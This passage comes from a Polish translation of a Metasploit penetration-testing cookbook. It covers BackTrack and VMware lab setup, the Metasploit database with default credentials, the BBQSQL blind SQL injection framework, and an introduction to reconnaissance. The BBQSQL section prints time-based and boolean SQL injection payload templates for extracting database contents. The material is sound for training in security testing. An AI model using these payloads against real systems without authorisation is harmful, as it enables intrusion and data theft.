Aby pozbyć się tego problemu, przejdź do strony pobierania frameworku Metasploit 4.5.2, ponieważ w tej wersji problem został rozwiązany. Pobierz framework ponownie i zastosuj opcję --version, aby upewnić się, że pobrałeś najnowszą wersję.
Instalowanie Metasploit z systemem BackTrack 5 R3 BackTrack jest najbardziej popularnym systemem wśród specjalistów od zabezpieczeń z dwóch powodów. Po pierwsze, posiada preinstalowane wszystkie popularne narzędzia do przeprowadzania testów penetracyjnych, co oszczędza czas wymagany na osobne instalacje. Po drugie, jest to system operacyjny oparty na Linuksie, co sprawia, że jest mniej podatny na ataki wirusów i zapewnia większą stabilność podczas testów penetracyjnych. Pozwala oszczędzić czas niezbędny na zainstalowanie wszystkich istotnych komponentów i narzędzi, a może się przecież zdarzyć, że podczas procesu instalacji napotkasz nieznane błędy. Przejdźmy więc do instalacji systemu BackTrack 5 R3.
Przygotuj się Z systemu BackTrack możesz korzystać, posiadając jego osobną instalację na dysku twardym, lub zainstalować go jako maszynę wirtualną na komputerze hosta. Proces instalacji jest prosty i nie różni się od instalowania innych systemów operacyjnych opartych na Linuksie.
Jak to wykonać Opisane poniżej czynności ilustrują cały proces instalowania systemu BackTrack 5 R3. 1. Podczas bootowania systemu operacyjnego BackTrack zostaniesz poproszony o podanie nazwy użytkownika oraz hasła. Domyślnie nazwa użytkownika i hasło to odpowiednio root i toor. 2. Po udanym zalogowaniu możesz pracować z poziomu wiersza poleceń lub wpisać polecenie startx, aby uruchomić tryb GUI.
26
Rozdział 1. • Metasploit — porady dla profesjonalistów z branży zabezpieczeń
3. Framework Metasploit możesz uruchomić z menu programu uruchamiającego lub z poziomu wiersza poleceń. Aby uruchomić Metasploit z menu programu uruchamiającego, wybierz BackTrack/Exploitation Tools/Network Exploitation Tools/Metasploit Framework, tak jak pokazano na rysunku:
4. Metasploit posiada prostą strukturę hierarchiczną katalogów, w której folderem głównym jest opt. Dalsza gałąź tego folderu to /metasploit/msf31. Aby uruchomić Metasploit z poziomu wiersza poleceń, uruchom okno terminala i wpisz następujące komendy: root@bt:~# cd /opt/metasploit/msf3 root@bt:/opt/metasploit/msf3 ~# ./msfconsole
Jak to działa Uruchomienie Metasploit z poziomu wiersza poleceń wymaga podania pełnej ścieżki dostępu do interfejsu msfconsole. Jeśli skorzystasz z menu uruchamiania programów, uzyskasz bezpośredni dostęp do różnych interfejsów użytkownika.
Zobacz również Większość użytkowników wolałaby zaktualizować swój dotychczasowy system, zamiast przeprowadzać od nowa wszystkie instalacje. Na szczęście, użytkownicy systemu operacyjnego BackTrack 5 R2 mogą go łatwo zaktualizować do wersji R3. Zobaczmy, jak to zrobić. 1
Ścieżka poprawna w środowisku KDE. W środowisku GNOME jest to pentest/exploits/framework3 — przyp. tłum.
27
Metasploit. Receptury pentestera
Aktualizacja wersji R2 do R3 Użytkownicy, którzy nie chcą przeprowadzać nowej instalacji, mogą bez problemów zaktualizować bieżącą wersję R2 do wersji R3. Najpierw musisz upewnić się, że Twój bieżący system posiada wszystkie aktualizacje: apt – get update && apt – get dist upgrade
Po wykonaniu zamieszczonego poniżej polecenia zainstalowane zostaną nowe narzędzia, które zostały dodane w wersji R3. Pamiętaj, aby wybrać właściwą architekturę systemu.
Narzędzia 32-bitowe W celu przeprowadzenia instalacji w systemie 32-bitowym zastosuj następujące polecenie: apt-get install libcrafter blueranger dbd inundator intersect mercury cutycapt trixd00r artemisa rifiuti2 netgear-telnetenable jbossautopwn deblaze sakis3g voiphoney apache-users phrasendrescher kautilya manglefizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph wifihoney twofi truecrack uberharvest acccheck statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-c heck sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool ded dex2jar droidbox smali termineter bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker powersploit webhandler
Narzędzia 64-bitowe W celu przeprowadzenia instalacji w systemie 64-bitowym zastosuj następujące polecenie: apt-get install libcrafter blueranger dbd inundator intersect mercury cutycapt trixd00r rifiuti2 netgear-telnetenable jboss-autopwn deblaze sakis3g voiphoney apache-users phrasendrescher kautilya manglefizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph wifihoney twofi truecrack acccheck statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-check sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool ded dex2jar droidbox smali termineter multiforcer bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker powersploit webhandler
28
Rozdział 1. • Metasploit — porady dla profesjonalistów z branży zabezpieczeń
Przygotowywanie testów penetracyjnych przy wykorzystaniu aplikacji VMware Zawsze możesz przygotować sobie laboratorium do testów penetracyjnych, wykorzystując wiele maszyn. Taka konfiguracja uznawana jest za idealną. Co jednak zrobić, jeśli masz nagły przypadek i musisz natychmiast skonfigurować scenariusz testowy, a dysponujesz tylko jedną maszyną? Oczywistym rozwiązaniem jest wykorzystanie maszyny wirtualnej (ang. virtual machine — VM). Możesz wtedy pracować jednocześnie na więcej niż jednym systemie operacyjnym i przeprowadzać testy penetracyjne. Przyjrzyjmy się temu, w jaki sposób można zorganizować laboratorium do testów penetracyjnych na jednej maszynie przy wykorzystaniu maszyny wirtualnej.
Przygotuj się Wykorzystamy oprogramowanie VMWare workstation 9 do skonfigurowania dwóch maszyn wirtualnych z systemami operacyjnymi BackTrack 5 R3 oraz Windows XP SP2. Naszym hostem będzie maszyna z systemem Windows 7. Będziemy potrzebować instalatora programu VMware oraz plików obrazów lub dysków instalacyjnych systemów, które chcemy skonfigurować jako maszyny wirtualne. Nasza kompletna konfiguracja będzie się więc składała z maszyny hosta z systemem Windows 7 oraz dwóch maszyn wirtualnych z systemami BackTrack 5 R3 oraz Windows XP SP2. Ponieważ aplikacja VMWare jest płatna, możesz skorzystać z darmowych alternatyw na licencji open source, takich jak VirtualBox lub Qemo.
Jak to wykonać Proces instalacji maszyny wirtualnej jest prosty i oczywisty. Poniżej opisano jego etapy. 1. Po zainstalowaniu oprogramowania VMware utwórz nową maszynę wirtualną. Wybierz odpowiednie opcje i kliknij Next (dalej). Aby rozpocząć konfigurację, będziesz musiał zapewnić nośnik instalacyjny w postaci pliku obrazu lub dysku instalacyjnego. Kompletną instrukcję obsługi maszyny wirtualnej oraz opis procedury instalacyjnej znajdziesz na stronie https://my.vmware.com/web/vmware/downloads. 2. Aby uzyskać odpowiednią wydajność maszyny wirtualnej, zalecane jest co najmniej 4 GB dostępnej pamięci RAM dla 32-bitowego systemu operacyjnego oraz 8 GB dla 64-bitowego. W kolejnej recepturze poznasz ciekawy sposób
29
Metasploit. Receptury pentestera
na ograniczenie wykorzystania pamięci podczas używania jednocześnie kilku maszyn wirtualnych. 3. Kiedy utworzysz maszynę wirtualną (VM), możesz użyć opcji klonowania (VM/Manage/Clone). W ten sposób otrzymasz dokładną kopię swojej maszyny wirtualnej, więc w przypadku wystąpienia jakiegoś błędu w trakcie korzystania z niej będziesz mógł przełączyć się na sklonowaną maszynę bez konieczności wykonywania ponownej instalacji. Możesz również skorzystać z opcji Snapshot, aby zapisać bieżący stan swojej maszyny wirtualnej. Opcja ta spowoduje zapisanie bieżących ustawień roboczych VM i będziesz mógł w przyszłości powrócić do zapisanego stanu. Zanim uruchomisz swoje maszyny wirtualne, musisz wykonać istotną konfigurację, aby obie maszyny mogły się ze sobą komunikować. Wybierz jedną z maszyn i kliknij opcję Settings (ustawienia). Następnie wybierz zakładkę Hardware (sprzęt) oraz opcję Network Adapter (adapter sieciowy). Znajdziesz tam preinstalowany adapter NAT, umożliwiający dostęp do połączenia internetowego maszyny hosta. W sekcji Network connection wybierz adapter Host-only (patrz rysunek poniżej). Wykonaj tę konfigurację na obu maszynach wirtualnych.
30
Rozdział 1. • Metasploit — porady dla profesjonalistów z branży zabezpieczeń
Jak to działa Ustawienie adaptera sieciowego Host-only ma na celu umożliwienie obu maszynom wirtualnym wzajemnej komunikacji. Teraz, aby przetestować, czy wszystko jest w porządku, sprawdź adres IP maszyny wirtualnej Windows, wpisując w wierszu poleceń komendę ipconfig. Następnie z poziomu maszyny BackTrack uruchom pingowanie maszyny Windows (stosując lokalny adres IP uzyskany po wpisaniu komendy ipconfig), aby sprawdzić, czy odbierane są pakiety. Powtórz ten proces w drugim kierunku, żeby sprawdzić obie maszyny wirtualne.
Zobacz również Omówimy teraz niektóre inne opcje lub wskażemy pewne ogólne informacje, które mogą być istotne przy wykonywaniu tego zadania.
Wyłączanie firewalla oraz ochrony antywirusowej Może się zdarzyć, że w niektórych sytuacjach podczas pingowania maszyny Windows z poziomu maszyny BackTrack pakiety nie będą odbierane. Może to być spowodowane domyślnymi ustawieniami firewalla systemu Windows. Wyłącz ochronę firewalla i ponownie uruchom pingowanie, aby sprawdzić, czy teraz pakiety będą odbierane. Wyłącz również wszelkie inne firewalle, które mogą być zainstalowane w maszynie wirtualnej.
Konfiguracja Metasploit na maszynie wirtualnej z połączeniem SSH W poprzedniej recepturze skoncentrowaliśmy się na skonfigurowaniu laboratorium testów penetracyjnych na pojedynczej maszynie z wykorzystaniem techniki wirtualizacji. Jednak podczas korzystania z kilku maszyn wirtualnych mogą wystąpić poważne problemy związane z wykorzystaniem pamięci. Zajmiemy się teraz omówieniem techniki zapobiegawczej, która może być bardzo przydatna w złych chwilach.
Przygotuj się Potrzebujemy jedynie klienta SSH. Skorzystamy z aplikacji PuTTY, ponieważ jest ona najbardziej popularnym, a zarazem darmowym klientem SSH dostępnym dla systemów Windows. Skonfigurujemy połączenie SSH z maszyną wirtualną BackTrack, ponieważ wykorzystuje ona więcej pamięci niż maszyna wirtualna Windows XP.
31
Metasploit. Receptury pentestera
Jak to wykonać Rozpoczniemy od uruchomienia maszyny wirtualnej BackTrack. Po wyświetleniu znaku zachęty dla logowania wprowadź poświadczenia, aby wyświetlić wiersz poleceń. Nie uruchamiaj teraz interfejsu graficznego. Wykonaj jedną z następujących komend2: root@bt:~# /etc/init.d/ssh start root@bt:~# start ssh
W ten sposób uruchomiony zostanie proces SSH na maszynie BackTrack. 1. Teraz znajdź adres IP tej maszyny, wpisując poniższą komendę: root@bt:~# ifconfig
Zanotuj ten adres IP. 2. Uruchom aplikację PuTTY w systemie operacyjnym hosta. Wpisz adres maszyny wirtualnej BackTrack i podaj numer portu 22:
5. Teraz kliknij przycisk Open (otwórz), aby wyświetlić wiersz poleceń. Jeśli połączenie się powiodło, zobaczysz wiersz poleceń programu PuTTY, działający w imieniu maszyny BackTrack, która poprosi Cię o zalogowanie. Wpisz poświadczenia, a następnie wykonaj polecenie ifconfig, aby sprawdzić, czy adres IP zgadza się z adresem maszyny wirtualnej BackTrack: 2
Przed uruchomieniem usługi SSH należy najpierw wygenerować klucze SSH za pomocą polecenia sshd-generate — przyp. tłum.
32
Rozdział 1. • Metasploit — porady dla profesjonalistów z branży zabezpieczeń
Jak to działa W tej sesji SSH możemy teraz współpracować z maszyną wirtualną BackTrack za pomocą aplikacji PuTTY. Ponieważ interfejs graficzny nie został załadowany, zużycie pamięci zostało zredukowane niemal o połowę. Ponadto zminimalizowanie maszyny wirtualnej BackTrack dodatkowo zmniejszy wykorzystanie pamięci, ponieważ system Windows zapewnia mniejszy przydział pamięci procesom, które zostały zminimalizowane, a oferuje w zamian szybsze wykonywanie tych zadań, które działają w trybie widoku zmaksymalizowanego. To dalej redukuje do pewnego stopnia zużycie pamięci. Po nawiązaniu połączenia będziesz musiał zweryfikować certyfikat SSH.
Instalacja i konfiguracja bazy danych PostgreSQL w systemie BackTrack 5 R3 Istotną cechą Metasploit jest obecność baz danych, w których możesz przechowywać wyniki swoich testów penetracyjnych. Każdy test penetracyjny składa się z dużej ilości informacji i może być przeprowadzany przez kilka dni. Istotne staje się więc przechowywanie pośrednich wyników i odkryć. Dobrze przygotowany test penetracyjny powinien posiadać odpowiednią integrację z bazą danych, aby szybko i wydajnie zapisywać rezultaty. W tej recepturze zajmiemy się procesami instalacji i konfiguracji bazy danych w systemie BackTrack 5 R3.
33
Metasploit. Receptury pentestera
Przygotuj się Domyślną bazą danych frameworku Metasploit jest PostgreSQL. Sprawdźmy najpierw domyślne ustawienia tej bazy. Musimy przejść do pliku database.yml, którego lokalizacja to opt/metasploit/ config. W tym celu wpisz poniższe polecenia: root@bt:~# cd /opt/metasploit/config root@bt:/opt/metasploit/config# cat database.yml production: adapter: postgresql database: msf3 username: msf3 password: 8b826ac0 host: 127.0.0.1 port: 7175 pool: 75 timeout: 5
Zwróć uwagę na domyślne nazwę użytkownika i hasło oraz domyślną bazę danych, które zostały utworzone. Zapisz te wartości, ponieważ będą one wymagane później. Jeśli masz ochotę, możesz je również zmienić według własnych upodobań.
Jak to wykonać Teraz naszym zadaniem jest połączyć się z bazą danych i zacząć z niej korzystać. Uruchom interfejs msfconsole i prześledź, w jaki sposób można skonfigurować bazę danych i zapisywać w niej wyniki testów. Sprawdźmy najpierw dostępne sterowniki bazy danych: msf > db_driver [*]Active Driver: postgresql [*]Available: postgresql, mysql W najnowszych wersjach Metasploit firma Rapid7 zarzuciła wsparcie dla bazy danych MySQL, więc polecenie db_driver może nie zadziałać. W takim przypadku jedynym domyślnym sterownikiem obsługiwanym przez framework Metasploit będzie PostgreSQL.
Jak to działa Aby połączyć sterownik z konsolą msfconsle, zastosujemy komendę db_connect. Zostanie ona wykonana z następującą składnią:
34
Rozdział 1. • Metasploit — porady dla profesjonalistów z branży zabezpieczeń
db_connect nazwa_użytkownika:hasło@adres_IP_hosta:numer_portu/nazwa_bazy_danych
Dla nazwy użytkownika, hasła oraz nazwy bazy danych użyjemy tych samych wartości domyślnych, które niedawno uzyskaliśmy z pliku database.yml: msf > db_connect msf3:[email protected]:7175/msf3
Po udanym wykonaniu tego polecenia nasza baza danych będzie w pełni skonfigurowana.
Zobacz również Zapoznajmy się z kilkoma bardziej istotnymi faktami związanymi z konfigurowaniem bazy danych.
Występowanie błędów podczas próby połączenia z bazą danych Podczas próby ustanowienia połączenia istnieje prawdopodobieństwo wystąpienia błędu. W takich przypadkach należy pamiętać o dwóch rzeczach: Sprawdź komendy db_driver i db_connect oraz upewnij się, że używasz właściwej
kombinacji bazy danych. Użyj polecenia start/etc/init.d do uruchomienia usługi bazy danych, a następnie
ponownie spróbuj się z nią połączyć. Kolejna wskazówka w celu rozwiązania problemu to zmiana skryptu startowego (/opt/metasploit/ msf3/msfconsole) interfejsu msfconsole w taki sposób, aby zawierał poprawny parser Ruby (#!/opt/ metasploit/ruby/bin/ruby). Jeśli tego nie zrobisz, nie będą działać niektóre funkcje bazy danych, takie jak db_connect.
Jeśli wciąż występuje błąd, możesz przeinstalować bazę danych i powiązane z nią biblioteki, stosując następujące polecenia: msf> gem install postgres msf> apt-get install libpq-dev
Usuwanie bazy danych W każdym momencie możesz zarzucić utworzoną bazę danych i rozpocząć zapisywanie świeżych rezultatów od nowa. W celu usunięcia bazy danych możesz zastosować poniższą komendę: msf> db_destroy msf3:[email protected]:7175/msf3 Database "msf3" dropped. msf>
35
Metasploit. Receptury pentestera
Wykorzystanie bazy danych do przechowywania rezultatów testów penetracyjnych Nauczymy się teraz, w jaki sposób skonfigurować bazę danych w celu zapisywania rezultatów przeprowadzanych testów penetracyjnych.
Przygotuj się Jeśli udało Ci się wykonać czynności opisane w poprzedniej recepturze, jesteś gotowy, aby wykorzystać bazę danych do przechowywania rezultatów testowania. Wpisz w msfconsole polecenie help, które spowoduje wyświetlenie dostępnych poleceń związanych z obsługą bazy danych.
Jak to wykonać Rozpocznijmy od szybkiego przykładu. Polecenie db_nmap zapisuje bezpośrednio w bazie danych wyniki skanowania portów wraz ze wszystkimi istotnymi informacjami. 1. Aby zobaczyć, jak to działa, uruchom proste skanowanie mmap maszyny docelowej: msf [*] [*] [*] [*] [*] [*] [*] [*] [*] [*]
> db_nmap 192.168.56.102 Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-04 20:03 IST Nmap: Nmap scan report for 192.168.56.102 Nmap: Host is up (0.0012s latency) Nmap: Not shown: 997 closed ports Nmap: PORT STATE SERVICE Nmap: 135/tcp open msrpc Nmap: 139/tcp open netbios-ssn Nmap: 445/tcp open microsoft-ds Nmap: MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.94 seconds
Jak możesz zauważyć, narzędzie nmap wygenerowało wyniki skanowania, które zostaną automatycznie zapisane w używanej przez nas bazie danych msf3. 2. Do skanowania nmap możemy również zastosować parametr –oX, który spowoduje zapisanie rezultatów w formacie XML. Jest to korzystne rozwiązanie, które pozwala wyeksportować wyniki skanowania do innych narzędzi zewnętrznych, takich jak framework Dradis, co zostanie omówione w następnym rozdziale. msf > nmap 192.168.56.102 –A -oX raport [*] exec: nmap 192.168.56.102 –A -oX raport Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-05 11:57 IST Nmap scan report for 192.168.56.102
36
Rozdział 1. • Metasploit — porady dla profesjonalistów z branży zabezpieczeń
Host is up (0.0032s latency) Not shown: 997 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
W tym listingu raport to nazwa pliku, w którym zapisane zostaną rezultaty skanowania.
Korzystanie z frameworku BBQSQL BBQSQL to oparty na licencji open source framework wstrzykiwania zapytań SQL (ang. SQL injection), napisany w języku Python. Z założenia ma być superszybki oraz umożliwiać współpracę z różnymi bazami danych. Narzędzie BBQSQL zostało stworzone przez Bena Toewsa, a jego najbardziej fascynującą funkcją jest możliwość eksploatacji luki ślepego wstrzykiwania zapytań SQL (ang. blind SQL injection vulnerability). Jest to użyteczne narzędzie, które umożliwia sprawdzanie zabezpieczeń aplikacji sieciowych. Wykryte za jego pomocą luki w zabezpieczeniach mogą być następnie załatane. Aby rozpocząć pracę z BBQSQL, wykonaj następujące czynności: 1. Najpierw należy skonfigurować parametry. Dostępnych jest wiele parametrów, które można skonfigurować podczas przygotowywania ataku: Parametr files (pliki). Wskazuje pliki, które mają być wysłane razem z żądaniem. Parametr headers (nagłówki). Może być to ciąg znaków lub słownik wysłany razem z żądaniem, np. {"User-Agent":"bbqsql"} lub "User-Agent: bbqsql".
Parametr cookies (pliki cookie). Słownik lub ciąg znaków wysyłany razem z plikami cookie, np. {"PHPSESSIONID":"123123"} lub PHPSESSIONID=123123;JSESSIONID=foobar. Parametr url (adres URL). Określa adres URL, na który mają być wysyłane żądania. Parametr allow redirects (dopuszczaj przekierowania). Wartość logiczna (podawana w nawiasach kwadratowych), która określa, czy podczas wykonywania żądań śledzone mają być przekierowania HTTP. Parametr proxies (bramki proxy). Określa bramkę proxy HTTP, która ma być wykorzystywana dla żądań jako słownik, np. {"http": "10.10.1.10:3128","https": "10.10.1.10:1080"}. Parametr data (dane). Określa dane żądania POST, które mają być z nim wysyłane. Może być to ciąg znaków lub słownik. Parametr method (metoda). Określa metodę żądania HTTP, np. get, options, head, post, put, patch, delete. 37
Metasploit. Receptury pentestera
Parametr auth (uwierzytelnianie). Określa pary nazwa użytkownika-hasło, które mają być wykorzystywane do podstawowego uwierzytelniania HTTP, np. ("moja_nazwa_użytkownika","moje_hasło").
2. Następnie należy skonfigurować opcje BBQSQL. Należą do nich: Opcja Query. Służy do konstruowania zapytań, które są wykorzystywane do skrytego wyprowadzania danych z bazy danych. Zakładamy, że zidentyfikowaliśmy już wstrzykiwanie SQL na podatnym na ataki parametrze i przetestowaliśmy zapytanie, które jest skuteczne. W tym przykładzie atakujący stara się wybrać wersję bazy danych: vulnerable_parameter'; if(ASCII(SUBSTRING((SELECT @@version LIMIT 1 OFFSET ${row_index}) , ${char_index} ,1))) ${comparator:>}ASCII(${char_val}) WAITFOR DELAY '0\:0\:0${sleep}'; -
Opcja csv_output_file. Nazwa pliku, w którym mają zostać zapisane rezultaty. Pozostaw tę opcję pustą, jeśli nie chcesz zapisywać wyników do pliku. Opcja technique. Dla tego parametru możesz zastosować wartość binary_search (wyszukiwanie binarne) lub frequency_search (wyszukiwanie na podstawie częstotliwości). Opcja Comparison_attr. Określa typ odkrytego wstrzykiwania SQL. Możesz określić, który atrybut odpowiedzi HTTP powinno sprawdzić narzędzie BBQSQL, aby wskazać wartość prawda lub fałsz. Możliwe wartości to: status_code (kod statusu), URL (adres URL), time (czas), size (rozmiar), text (tekst), content (zawartość), encoding (kodowanie), cookies (pliki cookie), headers (nagłówki) oraz history (historia).
3. Kolejny etap konfiguracji to Export Config. Po przygotowaniu ataku możemy wyeksportować plik konfiguracyjny. Tę opcję zobaczysz po uruchomieniu narzędzia. Wyeksportowany plik konfiguracyjny wykorzystuje moduł ConfigParser, który jest łatwy do odczytu. Przykładowy plik konfiguracyjny wygląda następująco: '[Request Config] url = http://example.com/sqlivuln/index.php? username=user1&password=secret${injection} method = GET [HTTP Config] query = ' and ASCII(SUBSTR((SELECT data FROM data LIMIT 1 OFFSET ${row_index:1}),${char_index:1},1))${comparator:>}$ {char_val:0} # technique = binary_search comparison_attr = size concurrency = 30'
4. Opcja Import Config umożliwia zaimportowanie pliku konfiguracyjnego z poziomu wiersza poleceń lub interfejsu użytkownika: bbqsql –c plik_konfiguracyjny
38
Rozdział 1. • Metasploit — porady dla profesjonalistów z branży zabezpieczeń
Bez względu na to, czy ładujesz plik konfiguracyjny z poziomu wiersza poleceń, czy interfejsu użytkownika, stosowane są te same procedury weryfikacji parametrów, aby zapewnić, że parametry będą poprawne.
5. Na koniec uruchomimy exploit, wybierając funkcję Run Exploit. Rezultaty przeprowadzonego ataku można zapisać do pliku csv. Plik instalacyjny frameworku BBQSQL możesz pobrać ze strony https://pypi.python.org/pypi/ BBQSQL. BBQSLQ podczas ataku wykorzystuje dwie techniki: 1. Wyszukiwanie binarne. Jest to technika domyślna, która pozwala określić szczegóły znaków stosowanych w wierszu lub kolejce oraz informacje dotyczące oczekiwanych znaków w wierszu. 2. Wyszukiwanie na podstawie częstotliwości. Jest to technika oparta na analizie j. angielskiego w celu określenia częstotliwości występowania poszczególnych liter. Ta metoda wyszukiwania działa szybko w przypadku danych nieentropicznych, ale może być powolna dla języka innego niż angielski lub dla danych utajnionych.
Jak to wykonać Aby rozpocząć pracę z BBQSQL, wykonaj następujące czynności: 1. Zainstaluj framework BBQSQL za pomocą poniższego polecenia: sudo pip install bbqsql
2. Na świeżo zainstalowanym systemie BackTrack 5 R3 polecenie install pip nie jest dostępne. Aby zainstalować narzędzie pip, musisz wpisać następujące polecenie: sudo apt-get install python-pip
3. Wpisz polecenie bbqsql i wciśnij Enter, aby uruchomić framework BBQSQL. Ekran roboczy frameworku BBQSQL został przedstawiony na rysunku na następnej stronie.
Jak to działa Wstrzykiwanie może działać na każdym z poniższych elementów: Adres URL: "http://google.com?vuln=$ {query}". Dane: "user=foo&pass=$ {query}". Pliki cookie: {'PHPSESSID' : '123123 ' , ' foo ' , ' BAR $ {query}'}.
39
Metasploit. Receptury pentestera
Interfejs użytkownika frameworku BBQSQL został przygotowany z wykorzystaniem kodu źródłowego z pakietu narzędzi socjotechnicznych o nazwie Social-Engineer Toolkit (SET). Interfejs wiersza poleceń oferuje automatyczne rozwijanie fraz podczas wpisywania żądań, a ponadto zapewniona jest weryfikacja poprawności wprowadzanych danych dla każdej opcji konfiguracyjnej.
40
2 Zbieranie informacji oraz skanowanie W tym rozdziale: Pasywne zbieranie informacji Skanowanie portów za pomocą narzędzia Nmap Skanowanie portów za pomocą narzędzia DNmap Skanowanie poświadczeń SMB za pomocą narzędzia keimpx Skanowanie wersji SSH Skanowanie FTP Zamiatanie SNMP Skanowanie luk w zabezpieczeniach za pomocą narzędzia Nessus Skanowanie za pomocą narzędzia NeXpose Skanowanie luk w zabezpieczeniach za pomocą narzędzia OpenVAS
Wprowadzenie Zbieranie informacji jest pierwszym podstawowym etapem podczas testów penetracyjnych. Ma ono na celu ustalenie jak największej ilości informacji o komputerze docelowym. Im więcej informacji posiadasz, tym większe masz szanse podczas eksploatacji celu. Podczas fazy zbierania informacji należy skoncentrować się na zbieraniu danych na temat maszyny docelowej, takich jak adres IP, dostępne usługi oraz otwarte porty. Te informacje odgrywają istotną rolę podczas przeprowadzania testu penetracyjnego. W tym rozdziale zapoznasz się z konkretnymi technikami skanowania, takimi jak skanowanie SMB, skanowanie serwera SSH, skanowanie FTP oraz zamiatanie SNMP.
Metasploit. Receptury pentestera
Zbieranie informacji, footprinting oraz enumeracja to pojęcia, które są często używane zamiennie. Wciąż mają jednak odmienne znaczenie. Zgodnie ze standardem SANS, footprinting to możliwość uzyskania istotnych informacji na temat danej organizacji. Są to informacje na temat wykorzystywanych technologii, takich jak internet, intranet, zdalny dostęp oraz extranet. Poza technologiami należy jeszcze zbadać reguły i procedury bezpieczeństwa. Czynności wykonywane podczas skanowania mają na celu zmapowanie, czy dana sieć automatycznie wykonuje procedurę ping sweep dla zakresów adresów IP oraz segmentów sieci, aby określić, czy poszczególne systemy są aktywne. Enumeracja obejmuje aktywne połączenia z systemem oraz wysyłane zapytania. Typy informacji enumerowanych przez hakerów można luźno podzielić na kategorie, takie jak zasoby i udziały sieciowe, użytkownicy i grupy użytkowników, aplikacje i banery oraz segmenty sieci. Zasadniczo istnieją trzy rodzaje technik wykorzystywanych do zbierania informacji: 1. pasywne zbieranie informacji, 2. aktywne zbieranie informacji, 3. zbieranie informacji za pomocą narzędzi socjotechnicznych. Przyjrzyjmy się tym procesom: Pasywne zbieranie informacji to technika używana w celu uzyskania informacji o obiekcie docelowym bez fizycznego łączenia się z nim czy uzyskania dostępu. Oznacza to, że do uzyskania informacji o celu wykorzystuje się inne źródła, takie jak wyszukiwania whois, narzędzie nslookup itd. Jeśli przyjmiemy, że naszym celem jest dostępna online aplikacja sieciowa, wtedy proste wyszukiwanie whois może dostarczyć wiele informacji o tej aplikacji, takich jak adres IP, jej domeny i poddomeny, lokalizacja serwera, serwer hostujący itd. Te informacje mogą być bardzo przydatne podczas testu penetrującego, ponieważ mogą poszerzyć ścieżkę eksploatacji celu. Aktywne zbieranie informacji to technika polegająca na uzyskaniu informacji o celu
poprzez ustanowienie logicznego połączenia z nim. Ta technika dostarcza kolejny poziom informacji, które mogą bezpośrednio uzupełnić Twoją wiedzę na temat zabezpieczeń celu. Celem skanowania portów jest jak najszersze zastosowanie techniki aktywnego skanowania, w której należy skoncentrować się na otwartych portach oraz dostępnych usługach uruchomionych w obiekcie docelowym. Zbieranie informacji za pomocą narzędzi socjotechnicznych jest podobne
do pasywnego zbierania informacji, ale opiera się na błędach człowieka oraz informacjach wyciekających w formie wydruków, rozmów telefonicznych, nieprawidłowych identyfikatorów poczty elektronicznej itd. Istnieje wiele sposobów wykorzystania tej metody i dlatego różny jest też etos zbierania informacji. Z tego powodu socjotechnika jest kategorią samą w sobie. Hakerzy np. rejestrują domenę, której nazwa brzmi podobnie, ale zawiera błąd pisowni, a następnie konfigurują serwer pocztowy w taki sposób, aby odbierał te fałszywe wiadomości e-mail. Takie domeny znane są jako „sobowtóry domen” (ang. Doppelganger Domains), czyli bliźniacze złe duchy.
42
Rozdział 2. • Zbieranie informacji oraz skanowanie
Użytkownicy padający ofiarą narzędzi socjotechnicznych są podstępnie nakłaniani
do ujawnienia pożądanych informacji i nie zdają sobie sprawy, że zostaną one wykorzystane do przeprowadzenia ataku na sieć przedsiębiorstwa. Pracownik przedsiębiorstwa może np. nabrać się na ujawnienie swojego numeru identyfikacyjnego osobie podszywającej się pod kogoś zaufanego. Gdy ten numer identyfikacyjny nie wydaje się czymś cennym dla danego pracownika, to ujawnienie tej informacji jest dla niego łatwiejsze. Osoba stosująca narzędzia socjotechniczne może użyć numeru identyfikacyjnego pracownika w połączeniu z inną pozyskaną informacją, aby zbliżyć się do znalezienia sposobu na włamanie się do sieci przedsiębiorstwa. Istnieje parę bardzo popularnych narzędzi zbierania informacji, takich jak GHDB, wyszukiwarka SHODAN, serwis http://www.netcraft.com itd. Omówmy je pokrótce: Baza GHDB (ang. Google Hacking Database) jest opracowaną listą powszechnych
błędów, jakie popełniają administratorzy serwerów czy stron WWW, którą można łatwo znaleźć w wyszukiwarce Google. Posługując się nią, można bez większych problemów odszukać takie rzeczy, jak konsole administratorów, pliki haseł, numery kart kredytowych, niezabezpieczone kamerki internetowe itd. Baza GHDB została utworzona przez Johnny’ego Longa, który również opublikował kilka książek na ten temat. Obecnie jest ona utrzymywana i aktualizowana w bazie Exploit Database. Wyszukiwarka SHODAN jest czymś w rodzaju wyszukiwarki Google dla hakerów.
Typowe silniki wyszukiwania, takie jak Google, Yahoo czy Bingo, wyszukują dane na stronach WWW, a następnie indeksują je do celów wyszukiwania. Natomiast wyszukiwarka SHODAN przeszukuje porty i przechwytuje wynikowe banery, a potem indeksuje je do celów wyszukiwania. Możesz utworzyć konto SHODAN i logować się za jego pomocą albo użyć kilku innych opcji (konta Google, Twitter, Yahoo, AOL, Facebook oraz OpenID). Logowanie nie jest konieczne, jednak filtry krajów i sieci są niedostępne, dopóki się nie zalogujesz. Serwis netcraft.com dostarcza analiz udziału w rynku dla hostingu stron WWW
